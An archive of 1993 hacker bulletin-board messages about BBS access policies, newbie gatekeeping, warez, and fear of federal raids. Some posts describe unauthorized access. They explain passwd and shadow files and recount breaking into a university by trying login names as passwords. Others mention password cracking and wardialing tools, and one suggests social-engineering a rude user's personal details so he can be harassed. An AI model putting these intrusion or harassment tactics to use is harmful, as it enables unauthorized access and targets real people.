fed's not gonna know what a 5ESS or an X-Bar is. If they don't, then what
are they doing bustin' BBSs? I've pratically...well, I have given up
calling new board 'cuz they're basically a waste of time. I mean, I'm
sure there are some good ones out there, but the sheer quantity of these
other 3l33t boards sorta ruin the x-periance.
Actually, I've never really thought of myself as an elite d00d because my
main driving force is information itself. And not only gathering
knowledge, but spreading whatever small tibits of info I have to others
who ask. I guess that sorta goes against the grain of being totally
elite. And that's probably why I miss the "old" days like I do. Sure,
- maybe* I've done carding, VMB hacking, and other activities that one
would call elite, but if I did partake in such activities, it was during
my prepubecent years and definately nothing to brag about. As for the
bare inner workings, that's what keeps me going. Not for exploitation,
but just for the knowledge. And what would I do with that knowledge if
not make free long distance calls? Well, willingly confide in others *if
they ask*. I'm not talking about trading, but the FREE exchage of
information. THAT's what I miss.
It's sad that people have to be so tight-lipped these days. I'm not
trying to place the blame on anyone here. It's just society reacting to
the explosive emergence to this new and wonderful technology. I don't
hate codrez and crackers and phreakers etc. Just think if they all
stopped warring and pooled the immense knowledge togeather...and no, I'm
not some raving flower-child either. Just a bored college student sitting
on top of the fucin' world and high on technology. I hope I never do, but
will probably become some bored yuppie in a million $ house lined with
plastic explosives to keep people away from my precious information. Oh,
man, am I getting depressed here ;).
--> Xenon
(stumples off his soapbox and wonders what the hell he just said...if this
makes sense to you, PLEASE explain it to me!)
...and thank you for your support...*puke*
From admiral@yabbs Tue Sep 28 17:43:59 1993
From: admiral@yabbs
To: liqjesus@yabbs
Subject: re: good old days
Date: Tue Sep 28 17:43:59 1993
Well, actually, there's another reason for those tests. Ever have
someone call your board and just leech leech leech. It's rather annoying.
And then you get this message that says why can't I download when thye
max their ratio out. I'm not interested in whether or not they have the
latest warez. In fact, I don't even care if they pirate or not. I run a
h/p/a board and they have to know what the fuck they are talking about. I
had a user come on who didn't know what the fuck LOD stands for. That
kind I just automatically delete.
llatta
From admiral@yabbs Tue Sep 28 17:45:57 1993
From: admiral@yabbs
To: xenon@yabbs
Subject: re: good old days
Date: Tue Sep 28 17:45:57 1993
I agree wholeheartedly with you on the part about t about pulling
knowledge together. I don't agree on the newuser questionnaires. I think
there has to be some questions to weed out lame ass people who don't have
any business calling there. But, it shouldn't be that long as to take
more than 5 minutes.
llatta
From maestro@yabbs Tue Sep 28 23:41:34 1993
From: maestro@yabbs
To: all@yabbs
Subject: NEW BBS
Date: Tue Sep 28 23:41:34 1993
The Dynerium BBS 604-856-3933
H/P Areas With Lots Of Box Files, And Unix Stuff...
Reaslly New, CXheck it Out....
~ ThE MaEsTrO ~
/s
From xenon@yabbs Tue Sep 28 23:41:34 1993
From: xenon@yabbs
To: admiral@yabbs
Subject: re: good old days
Date: Tue Sep 28 23:41:34 1993
Yeah, but how's anyone gonna learn shit? As long as there are modems, yer
gonna have some lame-ass moron knockin on yer door thinking he's gods gift
to the hackers. My philosaphy is let him blurt sum stupid out and then
feel the wrath of the other users. I mean, hes the one who's gonna be
getting 10 large pizzas a night. If, on the other hand, they really want
to learn and have the smallest bit of common sense to keep their mouth
shut, whats the problem with them d/ling a text phile or watch people
talk about things that they wouldnt understand anywayz.
Ok, no learning can beat "on-the-job" training. To really understand
stuph, ya gotta x-perince it! With the way things are, though, you cant
just sit at home and try shit out anymore. Why condem an possible future
ally to the brig before he even had a chance to start? Im not saying
walking someone thru things step-by-step, im sayin let the little leech
d/l a few g-files, do sum reading, and keep their mouth shut 'till they
have a clue.
The way I am, if someone has a question for me, ill help em out (within
the limits of my patience) as much as i can. Probably 'cuz the people
around when i first got my modem were the same way even though i wuz a
little bad-ass. Im not sayin do that, though. Ya cant help everyone
along and ya cant be Mr. "Right There to hold yer hand" either. What im
sayin is, whats the problem in letting someone on even if they dont know a
few lines of an encryption scheme in c, (got asked that a little while
ago). If they fuck around, its their funeral...personally, id be more
weary of a user that answered all the questions concisely than someone who
just phucked around...least i know they have a sense of humor.
--> Xenon
(Damn, I typed all that? How time flies when yer...well...)
From phragger@yabbs Wed Sep 29 01:59:28 1993
From: phragger@yabbs
To: admiral@yabbs
Subject: re: good old days
Date: Wed Sep 29 01:59:28 1993
I can't say I really agree with you there. Some questionnare is problably
quite necessary, rather I think that "participation" , etc.. Should
allow the user further access. 1. that questionnare shit, starts
moving towards that place, where social status is above intelligence and
2. some people are sometimes new to this shit, and d they just might be in
in it to learn.
From liqjesus@yabbs Wed Sep 29 18:02:38 1993
From: liqjesus@yabbs
To: admiral@yabbs
Subject: leeches
Date: Wed Sep 29 18:02:38 1993
I agree that new user tests do help to weed out leeches, lamers, and
locals (the dreaded three). My complaint is when the sysop expects you
to study a technical manual before you can log on to his board! I often
wonder if such sysops can answer half the questions themselves!
ps. And that whole controversy over whether sysops should let locals on
their boards is pretty dumb. Half the time it's the locals who do
the uploading/downloading. Most ld folks get free ratios!
-LJ-
From lordcybr@yabbs Thu Sep 30 00:32:46 1993
From: lordcybr@yabbs
To: all@yabbs
Subject: re: leeches
Date: Thu Sep 30 00:32:46 1993
I am about to open up a bbs, I wonder what I should do. Do I have ratios
at all, or do it by points? Should I have a questonair? I don't know what
I should do, so I am asking what do you think would make the best bbs?
Artimage.-
From Rage@yabbs Thu Sep 30 01:29:46 1993
From: Rage@yabbs
To: htoaster@yabbs
Subject: yabbs on Unix
Date: Thu Sep 30 01:29:46 1993
I have tried to compile Yabbs on Sun OS 4.1.3, And having problems, Is
there a Update to it, That will allow it to operate on SunOS?
From xenon@yabbs Fri Oct 1 10:42:03 1993
From: xenon@yabbs
To: lordcybr@yabbs
Subject: re: leeches
Date: Fri Oct 1 10:42:03 1993
Personally, I think the best BBSs are free access BBSs. My own ill-fated
board, Freeport, (ill-fated due to 2 HD deaths in a space of a couple o
months), was like that. Free exchange of information and all that jazz.
Because it was a one-liner, had to put time restrictions on users and
calls/day, but that's it. Otherwise, to get in, all you needed was a
handle and a password and a few minutes to space thru all my new user
ramblings.
--> Xenon
From Groove@yabbs Fri Oct 1 14:05:46 1993
From: Groove@yabbs
To: all@yabbs
Subject: thanks.
Date: Fri Oct 1 14:05:46 1993
Thank you all for confirming the fact to me that the scene was not dead.
I was heavilly into the scene several years ago but got out for various
reasons. Now that I have been in college for a few years and am meeting
people with similar interests, I am getting back into it with caree and
knowledge than I used to have. Thanks to all of you.
From tyrant@yabbs Sat Oct 2 14:54:24 1993
From: tyrant@yabbs
To: liqjesus@yabbs
Subject: re: good old days
Date: Sat Oct 2 14:54:24 1993
I think that you would have liked my board, but it is down now...
No ratios (I actually killed the file section in the end), the only forms
were to keep away dangerous unwanteds.. (People who thought that deleting
HDs was fun were included as well as the obvious...), and it had a nice
variety of message bases. (But they weren't used enough....)
And peopler knew more than me!
tyrant.
From htoaster@yabbs Sat Oct 2 16:24:05 1993
From: htoaster@yabbs
To: tyrant@yabbs
Subject: re: good old days
Date: Sat Oct 2 16:24:05 1993
on the subject of stuff, what do people think about the way that we have
stuff setup here? As you should know, we don't require any information on
anyone when they make accounts, anyone can make an account, and everyone
gets access to everything on their first connect...
htoaster
From proteus@yabbs Sat Oct 2 19:41:21 1993
From: proteus@yabbs
To: htoaster@yabbs
Subject: re: good old days
Date: Sat Oct 2 19:41:21 1993
oh man, this board is beautiful..totally free access. this is what
cyberspace was supposed to be like. everyone starts out the same. everyone
can learn.
i dunno, but boards that have questionaires to weed out newbies aint
real nice. how else are you gonna start? i mean, even twelve year
old idiot crackers need to be created to keep a balance :-).
sorry, but i remember it was terribly easy to start when everybody was
learning at the same time.
in short (if nothing i have said in the previous ten lines makes any
sense, i hope this will) this is the ideal of bbses. this is what has been
created with arpanet, and this is one helluva lot better than the
"begining." local boards these days dont allow anyone -new-. cyberspace
should be accessible by all. (oh. this last bit didnt make any sense
either. sorry. forget about this post.)
From ratpack@yabbs Sun Oct 3 13:35:26 1993
From: ratpack@yabbs
To: comrade@yabbs
Subject: re: Life & Death
Date: Sun Oct 3 13:35:26 1993
From ratpack@yabbs Sun Oct 3 13:43:50 1993
From: ratpack@yabbs
To: comrade@yabbs
Subject: re: ...
Date: Sun Oct 3 13:43:50 1993
Thanks for the nice comment about underworld_1993.com and yes, your
account is still there.
No cows in the advertisement. Yes I saw that, but I changed my cow so it's
not the same one. How can a group take control of a complete object <g>.
BTW: Did you know that the church are 'owners' of the cross 'logo'...
Anyways, later.
From swami@yabbs Sun Oct 3 16:24:34 1993
From: swami@yabbs
To: all@yabbs
Subject: Newbies
Date: Sun Oct 3 16:24:34 1993
Regarding weeding out the lamer's etc, the bottom line is that
in the end, if the user is really deserving, he or she will find a
way to get into the "scene." I spent about a year using a 1200bps
modem and a dumb terminal just learning things before I even knew that
p/h/a boards or anything of the like existed (this was indeed a long
time ago.) If the user doesn't have a clue now, wait. If they are a
good user-to-be, they'll figure it all out eventually. Hope that made
any sense.
swami
From -Flare-@yabbs Sun Oct 3 19:55:43 1993
From: -Flare-@yabbs
To: slim@yabbs
Subject: re: tftp
Date: Sun Oct 3 19:55:43 1993
so what? Just cuz you can get the passwd file doenst mean anything. Its
encrypted, right? (If im totally wrong, shuddap, im new to the "scene")
From -Flare-@yabbs Sun Oct 3 19:56:51 1993
From: -Flare-@yabbs
To: invalid@yabbs
Subject: re: Toneloc beta 10
Date: Sun Oct 3 19:56:51 1993
Whats TL?
From -Flare-@yabbs Sun Oct 3 20:02:24 1993
From: -Flare-@yabbs
To: greywolf@yabbs
Subject: re: hack sites
Date: Sun Oct 3 20:02:24 1993
Hmm, greywolf , your name soudns familiar. You live in CA?
From -Flare-@yabbs Sun Oct 3 20:10:20 1993
From: -Flare-@yabbs
To: pyro@yabbs
Subject: re: HP Network...
Date: Sun Oct 3 20:10:20 1993
Have'nt been following the messages, what are you gonna starT??
From bland@yabbs Mon Oct 4 00:26:40 1993
From: bland@yabbs
To: all@yabbs
Subject: yeah, i'm lame....
Date: Mon Oct 4 00:26:40 1993
i know this is a stupid thing to ask, but looking around on my own has
got me nowhere. how can i start finding good ftp sites? good hack info.
and where can i get into good talk on irc? i'm not really even looking for
pirited shit or anything either, just some cool stuff you know?
From pyro@yabbs Mon Oct 4 01:12:37 1993
From: pyro@yabbs
To: all@yabbs
Subject: BBS types...
Date: Mon Oct 4 01:12:37 1993
I have run a BBS for about 8 years now, and for the past 4 I have had no
requirements for getting access. You just call, give a name and password,
and answer some simple questions (and they have no basis on access, so
most people skip them) and there you go. Total file and message base
access. Nothing to hide. Each user gets 30 minutes a day to do as the
please.
And believe it or not, it is a h/p orientated BBS> Lots of text
files, good messages, but nothing explicitly illegal. Just good theory
and ideas.
Anyway, I have found this to be the best method I have ever used in
running a BBS. Sure, it is not for everyone. There are too many
"private" elitest boards, not enough public learning boards.
Anyway, might as well give it a cheap plug:
Propaganda
(612) 874-9113
From greywolf@yabbs Mon Oct 4 01:58:19 1993
From: greywolf@yabbs
To: all@yabbs
Subject: me
Date: Mon Oct 4 01:58:19 1993
I live in cyberspace :)
From jcjc@yabbs Mon Oct 4 08:19:48 1993
From: jcjc@yabbs
To: pez@yabbs
Subject: H/P & Scaners/hacking
Date: Mon Oct 4 08:19:48 1993
o first, let me say: I have no ftp access... but I will soon, working on
it.. hmmn, I had access to the OLD, OLD MSP... and now I have Code Thief
v. 3.15, and FH (can I say the magic word?:) v. 2.0 etc... mabye my H/P
stuff is old but hey, talk to Pegasus, he would agree with me, San Diego
is DEAD!!! thats why I got on the net.. hmmn, I am a phone phreak & Hacker
from the EAST!!! dammit, I am thinking of moving back when I get old
enough!! (3 more years til I can go, that is, if 18 is the age limit. :)
hmmn, ok, I'll see what I can do, I have some new H/P files, (if you
concider Phrack43.zip new :) hehe, ok, I like RISC and SUN systems, hey,
to that guy that mentioned the con's, I dont think I'll be going, because
I feel that you can get more useful information from SE's and other such
people who have access to the machines and manuals then self proclaimed
'hackers' although there are still a few good ones out there... (as Kludge
said...:) hmmn, I'd like to get on #hack/#phreak & #unix irc, etc.. ya
know, if anyone can help me out, let me know... :) hey, San Diego, I run a
board called Apocalyptic Electron (used to be Black in Black, til I found
a nother one :) that is now called Piracetam) so I am still changing
themes in the menus etc.. I have some good H/P stuff, etc.. :) but
mostly into NEW, NEW stuff, I have an ANI for this area, from a good
friends, and a few other things, but one guy gave me what he called
divertor, now don't get me wrong, I know how to use certain things in
certain situations, but anyone into it, call 1-800-225-3282 and tell me
what is up with this one? its not a divertor..! ok, I am gonna be going to
Germany... (schwienfurt soon) hmmmn, and I need to get some tickets, I
have no email address yet, so call my board or something (or TUF.. Tampa
Bay!:) ok? hmmn, I have so many German users, its not funny, (where do
they get my number from??? hmmn, ok, talk to you guys later... sorry for
the long post. but its sorta my untroduction, I'm into everything,
(EVERYTHING!!!!, cept CAPITOLISM!:) heheh, ohh well, I'm an Anarchist... )
now who have I just pissed off? :) ok, laterz guys
-[jc]2 <----SysOp of Apocalyptic Electron --AE-- :)
From jcjc@yabbs Mon Oct 4 09:22:16 1993
From: jcjc@yabbs
To: liqjesus@yabbs
Subject: re: oldies
Date: Mon Oct 4 09:22:16 1993
hehehehehe, ya, 0 days old warez.. intersting enough.. just talking with a
usre in Maryland :) hehhe, Dial Tone... who is speaking with me about 0 -
30 minutes old software.. hmmn, now as many people might agree with me,
I'd love to have a bbs, and have 12 million text files filled with todays
latest information on the phone company, and have a nother section with 57
gigabytes of the 0 - 3 minute old stuff :) hehehhe now my favorite group -
4 Non Blondes is on, I'm loggin off. to watch this lovely woman :) on
MTV... laterz.. (its a good song.. Spaceman :) hehe laterz
-[jc]2 <-----SysOp of Apocalyptic Electron -AE--
From xenon@yabbs Mon Oct 4 10:25:36 1993
From: xenon@yabbs
To: pyro@yabbs
Subject: re: BBS types...
Date: Mon Oct 4 10:25:36 1993
thats a great way to run a bbs. thats how i ran mine and will run it
after i scrape some $$ togeather to fix my busted HD. The only thing
this board needs is an outside line...course, the only thing my board
needs is a slip thru the nice, big university...heh
--> Xenon
From liqjesus@yabbs Thu Oct 7 14:54:46 1993
From: liqjesus@yabbs
To: all@yabbs
Subject: BBS's, etc.
Date: Thu Oct 7 14:54:46 1993
Hmmm...so now they have 0-3 minute old warez? Sounds like the pirate
scene is getting dumber by the minute. I even read an intro screen by
some pirate group recently (I won't mention names) where the guys
are still posting insults at another group. This "we're number one" crap
is truly annoying.
I also agree that the Internet is MUCH more user-friendly as far as
file ratios go, but I think the seven+ years of BBS training I had
make me appreicate this stuff more. And, local BBS's are still a good
spot to see how your scene is doing.
-LJ-
From xor@yabbs Fri Oct 8 20:26:48 1993
From: xor@yabbs
To: all@yabbs
Subject: replies.
Date: Fri Oct 8 20:26:48 1993
re: ToneLoc
there was a post a little while back asking what ToneLoc was. It is a
programm written by Mucho Maas and Minor Threat. Basically it locates
PBXes, carriers, and any quirky other array of things. It was very well
written cause it includes stuff like a mapper program so you can see
patterns in your scans that you might not notice otherwise (like an entire
band of carriers, etc). Other things are included too like support for
many modems, GUI, etc. etc. though I have found it to work best with
USRobotics Courier modems.
if its not here, I'll send it up if you want.
^
From tyrant@yabbs Sat Oct 9 14:23:39 1993
From: tyrant@yabbs
To: admiral@yabbs
Subject: re: good old days
Date: Sat Oct 9 14:23:39 1993
Hmm.. But everyone has to learn somewhere.. An as to people who "leach,"
why do you let them on in the first place? Why have file sections if
you're not willing to let people download files.. And what the hell does
it show if you don't know what LOD stands for....
From tyrant@yabbs Sat Oct 9 14:26:30 1993
From: tyrant@yabbs
To: xenon@yabbs
Subject: re: good old days
Date: Sat Oct 9 14:26:30 1993
Of course, another good reason to let people on is that if they aren't any
good, decide that they need to get (as you put it) "on-the-job" training,
and go out and get busted, it seems that they will probably give the
number of every BBS that they know of, including (and probably) in
particular the ones they are annoyed at (such as the ones that wouldn't
let them on....)
ea.
From tyrant@yabbs Sat Oct 9 14:29:07 1993
From: tyrant@yabbs
To: lordcybr@yabbs
Subject: re: leeches
Date: Sat Oct 9 14:29:07 1993
No file areas. You can have text files, but don't put them in file areas.
Put them in bullitens (but the problem with text files is that the way
that they change is that they are out-dated REALLY quickly, and probably
not worth the bother). Make a lot of message bases on every concievable
topic. Then get a few good users to call -- because of the
complicated material, the bad users will be weeded out.
ea
From tyrant@yabbs Sat Oct 9 14:30:33 1993
From: tyrant@yabbs
To: htoaster@yabbs
Subject: re: good old days
Date: Sat Oct 9 14:30:33 1993
I like that.. Very nice.
From tyrant@yabbs Sat Oct 9 14:32:08 1993
From: tyrant@yabbs
To: proteus@yabbs
Subject: re: good old days
Date: Sat Oct 9 14:32:08 1993
Of course, the other problem is that now there are a lot of people who
pretend that they know a lot more than everyone else. In reality, they
don't know all that much more. It's important to remeber that no one can
know everything!
ea
From liqjesus@yabbs Sun Oct 10 14:39:03 1993
From: liqjesus@yabbs
To: all@yabbs
Subject: sysops from hell
Date: Sun Oct 10 14:39:03 1993
Well, my thinking these days is that if I get pissed off at a sysop
or his board, I just stop calling. I don't care if he's the
"elitest" bastard in the world. If more people practiced this idea,
soon those snotty sysops would find their user base dwindle down to
nothing.
-LJ-
From wonko@yabbs Wed Oct 13 08:48:00 1993
From: wonko@yabbs
To: all@yabbs
Subject: re: tftp
Date: Wed Oct 13 08:48:00 1993
who is this Flare guy, and should i bother replying to his post?
as for the bbs thing, as soon as i have the machine (read: i need $$)
to run it from, i want to run yabbs as a multiline bbs. free access.
real damn easy to get on, no questions to answer, just don't annoy
people, that is my policy. there is one user in particular that i
won't let on any board i ever run. he has to argue with everyone and
is rarely right. he is one hell of an annoyance. he would be booted.
that is the only requirement to be on my bbs. don't be an asshole.
sorry if this don't make sense, i'm tired as usual. got to stop staying
up till 2am coding. duh.
-wonko
From Flare@yabbs Wed Oct 13 19:36:50 1993
From: Flare@yabbs
To: all@yabbs
Subject: re: replies.
Date: Wed Oct 13 19:36:50 1993
xor.. Could you(or anyone) tell me some anon ftp sites whre i can get
stuff such as toneloc?
l8r
From Flare@yabbs Wed Oct 13 19:40:27 1993
From: Flare@yabbs
To: wonko@yabbs
Subject: re: tftp
Date: Wed Oct 13 19:40:27 1993
Well, geeze, sorry if i did something wrong that im not aware of...btw, do
you know what CCII stands for?)
From wonko@yabbs Thu Oct 14 11:49:24 1993
From: wonko@yabbs
To: Flare@yabbs
Subject: re: tftp
Date: Thu Oct 14 11:49:24 1993
you didn't do anything wrong. when i tried replying to your
original message your name had a - before it and one after
and when i tried replying it said no user with that
name exists.. i was just wondering if you actually exsited
so i wasn't wasting me breath.
let me look back through the messages to see what i sould have
replied to.
-wonko
From wonko@yabbs Thu Oct 14 11:51:03 1993
From: wonko@yabbs
To: Flare@yabbs
Subject: re: tftp
Date: Thu Oct 14 11:51:03 1993
you wanted to know about passwd files. still want to know??
-wonko
From xenon@yabbs Thu Oct 14 15:28:08 1993
From: xenon@yabbs
To: wonko@yabbs
Subject: re: tftp
Date: Thu Oct 14 15:28:08 1993
thats the kinda system id like to run. seeing as how i cant even afford a
new HD for my c=64 bbs, tho, forget about a multi-line free-access unix
system from me for a while...heh. right now, id just be happy to get
freeport running again.
as for the obnoxious users, why dont u just let the other bbs users deal
with them...a pea-brained user like that could easily conned by sum e-mail
social engineering to give an offended person their phone, name, etc.
then, its up to yer users imagination what they're gonna get...heh
yer alwys gonna run th risk that sum assholes gonna give yer # to the
feds. I say, the more the marrier. you might even get them to post and
respond! well, i guess thats asking a bit too much, eh? i mean, as long
as yer not running sum warez d00d bbs, and have stuff like that in the
file transfers, yer gonna get a LOT of support from others in the computer
community if sum asswipe fed thinks yer bbs contains "illegal" material.
Oh no! they're talking bout grabbing passwd files and running them thru
killer kracker! bust the bbs! Thats just BS in the lowest form.
besides, the feds are on the run...they've realized that they cant just go
around and close down bbss anymore. people arent gonna stand for them
infringing on their rights to free speech.
im not saying that all feds are assholes, but i dont know any personally
and juging by their recent activities within the computer community, thats
my impression. its just a bunch of political BS. Presidences MUST be set
NOW before more injustice is done! the whole Steve ackson games trial wuz
total shit...BUT good came out of it! im extremly glad that SJ Games
wasnt forced into finantual ruin like craig niedorf was. i only wish that
i could support them, but, alas, i cant even afford a new hd...
i fully support eff, albiet they are a touch consertive, but it is a
start. also, with the vast amount of confrences that bring feds, hackers,
and other interested parties togeather, i can see an understanding
developing between the parties. at least, a wide variety of views are
shared amoung the attendees, (or so ive read...ive never been able to
attend one although i would REALLY like to...)
how this post became so long, i dont know...anywayz, if anyone in or near
the 313 area would like to pitch sum monetary support my way in exchange
for a ride and a room to a confrence like i mentioned before, lemme know
thru e-mail. here or at ks3502@emunix.emich.edu.
l9er,
---> Xenon
From Darkman@yabbs Fri Oct 15 11:26:29 1993
From: Darkman@yabbs
To: all@yabbs
Subject: re: santafe bbs
Date: Fri Oct 15 11:26:29 1993
Umm...I keep trying to logon to Santafe, but when I connect it gives me no
prompt or anything and it responds to nothing that I enter. It just cr's
to the next line and lets me type some more. I'm convinced that the os is
laughing at me!!! Waht Gives? I just want an email acct...
From ea@yabbs Fri Oct 15 15:53:39 1993
From: ea@yabbs
To: xenon@yabbs
Subject: re: tftp
Date: Fri Oct 15 15:53:39 1993
Well, I'm not sure if I agree with your handling of bad BBS users. It
seems to me that if you leave it entirely up to the other users that the
user will get angry (more likely to go to the feds), and more importantly,
that you will waste a lot of space on silly messages bashing other users..
Ea, he whom nothing escapes.
From Flare@yabbs Fri Oct 15 20:47:06 1993
From: Flare@yabbs
To: wonko@yabbs
Subject: re: tftp
Date: Fri Oct 15 20:47:06 1993
Oh, ok.. Well, remember there was a crash or something a little bit ago
here.
From Flare@yabbs Fri Oct 15 20:47:24 1993
From: Flare@yabbs
To: wonko@yabbs
Subject: re: tftp
Date: Fri Oct 15 20:47:24 1993
yes please(thanx.)
From pyro@yabbs Fri Oct 15 23:34:15 1993
From: pyro@yabbs
To: ea@yabbs
Subject: re: tftp
Date: Fri Oct 15 23:34:15 1993
Well, if you havrun the type of BBS that should worry about being busted
by the friendly FBI then perhaps you should KNOW, in some way, everyone on
your BBS. You would be stupid to let anyone on who might turn you in. The
whole idea is just insane...
If it is a piblic BBS... Well, do what you have to I guess. Its my
opinion that a really good BBS does nopt have to worry about such people.
Either the quality of the BBS detracts from such meaningless non-sense, or
the users take care of it. Oh well. To each his own.
-Pyro
From ea@yabbs Sun Oct 17 15:16:41 1993
From: ea@yabbs
To: pyro@yabbs
Subject: re: tftp
Date: Sun Oct 17 15:16:41 1993
It seems to me that one of the main problems is that people haven't caught
on -- if they want to bust your bbs, they can. They'll get on. It's not
that hard. Make sure that it is legal.
And everything will be okay.
From DrClaw@yabbs Mon Oct 18 02:15:49 1993
From: DrClaw@yabbs
To: all@yabbs
Subject: looking for board
Date: Mon Oct 18 02:15:49 1993
UYo,
i am looking for some good boards in area code 303...anyone
have any good numbers...i am willing to trade the dialout there for
some...
mail me at regan10458 shit make that regan1048@bestsd.sdsu.edu if you are
interested... thanks
From xenon@yabbs Mon Oct 18 11:39:20 1993
From: xenon@yabbs
To: ea@yabbs
Subject: re: tftp
Date: Mon Oct 18 11:39:20 1993
yeah, but who to say whats legal??? i mean, seems to me that bbss are
being busted for the stupidest reasons.
make sure that it is legal...and everything might be ok...
--> Xenon
From Kel'anth@yabbs Mon Oct 18 20:36:54 1993
From: Kel'anth@yabbs
To: htoaster@yabbs
Subject: re: hackers test
Date: Mon Oct 18 20:36:54 1993
re: mirroring eff.org
WHY? I mean, you've already got the gopher gateway to there, and there are
plenty of other sites mirroring that archive. Sorry to be sticking my nose
in your business or whatever, but I just kinda hate to see good HD space
wasted on stuff everyone knows where to look for, when ya got spacve you
could be using for much more, well, unique and eclectic type of files.
Please try to at least think about it...
From htoaster@yabbs Mon Oct 18 21:20:58 1993
From: htoaster@yabbs
To: Kel'anth@yabbs
Subject: re: hackers test
Date: Mon Oct 18 21:20:58 1993
In message re: hackers test, Kel'anth said:
> re: mirroring eff.org
wow...that was an old message...
i'm not mirroring them, because i do have the gopher link to them and the
etext archives. If you have anything you want on the ftp site let me know,
since it has about 10 megs or so free...
htoaster
From deprogra@yabbs Tue Oct 19 01:21:20 1993
From: deprogra@yabbs
To: all@yabbs
Subject: toronto dialout
Date: Tue Oct 19 01:21:20 1993
After I connect to pacx.utcs.utoronto.ca and enter MODEM, I get garbage
and it does not seem to accept any commands. Any ideas?
From Kryptic@yabbs Tue Oct 19 02:12:16 1993
From: Kryptic@yabbs
To: all@yabbs
Subject: SMC BBS 503
Date: Tue Oct 19 02:12:16 1993
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Home of SMC and the Doctrines of Deceit... an upcoming magazine orientated
towards the high-end hacker. For more information please contact me, or
another group member, on this board or through email at
nickel@rigel.cs.pdx.edu or nighttime ftp submission at 128.2.117.124
(login as smc/submit) (submissions only)
The number to the BBS is 503-251-3763 - All may apply... but only hackers
may succeeed... Various levels of access for various levels of skill. Call
and get NUKED!
From jcjc@yabbs Tue Oct 19 04:05:22 1993
From: jcjc@yabbs
To: liqjesus@yabbs
Subject: re: BBS's, etc.
Date: Tue Oct 19 04:05:22 1993
Well, last message I wrote, I was talking about the problems with software
0 - 3 minute old software, its a exageration - but thats how dumb its
getting
I dont get it... Whats wrong with this Warez Generation - they take up too
much space!!! I have a 451 MB hard drive, and I would like to be able
to fill it up with NEW software, but I have not the space, and these
programs are just TOO BIG!!! so if I wanted to run an AE - Ascii Exchange,
I am sure I could do it... but I dont know if I want to... anyways, in
case no one got it, I am against Warez, I have access to boards with them
on there, but I am against them! ok, I might be joining a group called
"Phiber Weasles" its a H/P grouyp, ohh well, my GF is moving back to
Texas... SHIT!... wants to live with her parrents.. I'm gonna help her
pack this weekend.. talk to you all later
-[jc]2 <---SysOp of Apocalyptic Electron --AE--
From PBandana@yabbs Tue Oct 19 15:02:26 1993
From: PBandana@yabbs
To: wonko@yabbs
Subject: pword files
Date: Tue Oct 19 15:02:26 1993
Well, I'd like to know about password files ...
advTHANKSance
-=-=-=-=-=-=-=-
PurPle BaNdana
-=-=-=-=-=-=-=-
From wonko@yabbs Tue Oct 19 17:50:04 1993
From: wonko@yabbs
To: PBandana@yabbs
Subject: re: pword files
Date: Tue Oct 19 17:50:04 1993
very simple,
in the directory /etc is a file named passwd
it has all the account userids and passwords (encoded) and other
neat info like what shell they use when the log on and what
group they are a part of.
that is how it used to be anyway, now, in the slot where the password
goes you usually find an '*' in it's place. this means the
passwords are in a file called shadow, which only root has rights to.
i will post a small example sometime when i have the chance, maybe
next message.
-wonko
ps -- hope it was helpful.
From wonko@yabbs Tue Oct 19 19:00:29 1993
From: wonko@yabbs
To: PBandana@yabbs
Subject: re: pword files
Date: Tue Oct 19 19:00:29 1993
here is a small passwd file i quick made up:
root:IIOV8Fxdm.Lw:0:0:Root Login:/:/bin/csh
here is a description of each entry:
root - login name
IIOV8Fxdm.Lw - encrypted password with key
first 0 - user ID
second 0 - group
Root Login - In real life entry, usually real name
:/ - home directory - rooit gets root, imagine that.
:/bin/csh - shell
if the password has an * in it's place it is shadowed.
gotta go, mj is paging me.
From cosmos@yabbs Wed Oct 20 01:11:18 1993
From: cosmos@yabbs
To: DrClaw@yabbs
Subject: re: looking for board
Date: Wed Oct 20 01:11:18 1993
K00l K0dEz!
Cosmos
From wonko@yabbs Wed Oct 20 08:37:13 1993
From: wonko@yabbs
To: cosmos@yabbs
Subject: re: pword files
Date: Wed Oct 20 08:37:13 1993
here is a little trick we picked up from hacking lehigh u.
grab the passwd file. even if the accounts are shadowed try this.
try the login as the password, you will be suprised how many actually
work. we got into lehigh that way. none of the student accounts
are in passwd, they are all in shadow with no reference from passwd
(something my sysadmin was teaching me how to do, cuts down on one
big ass security hole. most people don't play with what they can't
see) but the maint accounts and admin accounts were all in passwd but
shadowed. out of the 37 accounts in passwd 17!!!!!!!! used the login
as the passwd. that has been changed because of me, but i had to make
a deal somehow. i said yea, if i give you info about your system to
help with security holes, you get me off light. they said ok, i told
them about 5 of the 17 accounts, a week later all 17 were changed.
i guess they descided to check them all. oh well.
-wonko
From Flare@yabbs Wed Oct 20 19:31:12 1993
From: Flare@yabbs
To: wonko@yabbs
Subject: re: pword files
Date: Wed Oct 20 19:31:12 1993
Try the login as the password? what does that sentence mean?
From cosmos@yabbs Wed Oct 20 20:38:43 1993
From: cosmos@yabbs
To: Flare@yabbs
Subject: re: pword files
Date: Wed Oct 20 20:38:43 1993
It means if you have the account "guest" use that as the password.
Next step for you is to hit the library and get some UNIX books.
Cosmos
From wonko@yabbs Thu Oct 21 11:09:23 1993
From: wonko@yabbs
To: cosmos@yabbs
Subject: re: pword files
Date: Thu Oct 21 11:09:23 1993
that is a good idea, read, it is the second best way to learn.
i would recomend "Using Unix" by: Que for unix stuff
i ripped a copy from a local book store an i must say it
is the best steal so far. very good info.
if you want info about internet, i would recommend:
"The Whole Internet: User's Guide & Catalog"
by: Ed Krol, published by O"Reilly & Associates, Inc.
l8r all,
-wonko
ps-- i am going to look at used Suns tonight, hope i find something
i like that i can afford.
From hbeast@yabbs Fri Oct 22 08:34:29 1993
From: hbeast@yabbs
To: all@yabbs
Subject: learning
Date: Fri Oct 22 08:34:29 1993
Speaking of where new people can learn, how about those education boards?
Which breings me to my question, how many of those are still up?
(Like the Phoenix Project, Phreak Klass 2600, etc).
This wasn't phrased so well. I don't want to know if TPJ or PK are up, I
want to know about current educational boards.
herd beast
From cosmos@yabbs Fri Oct 22 16:42:16 1993
From: cosmos@yabbs
To: hbeast@yabbs
Subject: re: learning
Date: Fri Oct 22 16:42:16 1993
Um, I never learned anything much from any board. Even the so-called best
and most elite...cept how to inflate my ego.
If you want to learn, start hitting the books, and experimenting with
systems. Start with a public acces *NIX account and go from there. Dont
expect people to tell you what to do. Use your own curiosity and drive to
feed your mind, this is true hacking.
Anyone can get K00l K0dEz and 0-3 day WaReZ.
Boards can give you small pointers...if you can wade through most of the
lite buulshit.
Cosmos
From Green@yabbs Fri Oct 22 18:57:02 1993
From: Green@yabbs
To: cosmos@yabbs
Subject: re: learning
